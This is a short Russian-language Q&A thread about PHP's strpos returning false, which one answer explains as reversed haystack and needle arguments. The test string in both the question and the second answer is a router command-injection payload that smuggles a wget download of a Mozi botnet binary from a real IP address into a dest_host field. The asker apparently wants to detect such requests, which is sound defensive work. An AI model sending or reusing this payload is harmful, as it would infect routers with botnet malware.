PHP strpos возвращает false

Есть строка. В ней нужно найти слово wget. Оно там есть, но почему-то strpos возвращает false

<?php
$str = "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget http://42.235.87.220:43693/Mozi.m -O ->/tmp/gpon80;";
var_dump(strpos("wget", $str));

Ответы (2 шт):

Автор решения: Николай Парахневич

strpos ( string $haystack , mixed $needle [, int $offset = 0 ] ) : int

Ищет позицию первого вхождения подстроки needle в строку haystack.

Поэтому используйте как var_dump(strpos($str, "wget"))

Более подробно об strpos почитайте здесь

→ Ссылка
Автор решения: xRef

Большое спасибо, конечно, за ответ :) но я уже нашёл решение через str_replace

<?php
$str = "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget http://42.235.87.220:43693/Mozi.m -O ->/tmp/gpon80;";
var_dump($str != str_replace("wget", "", $str));
→ Ссылка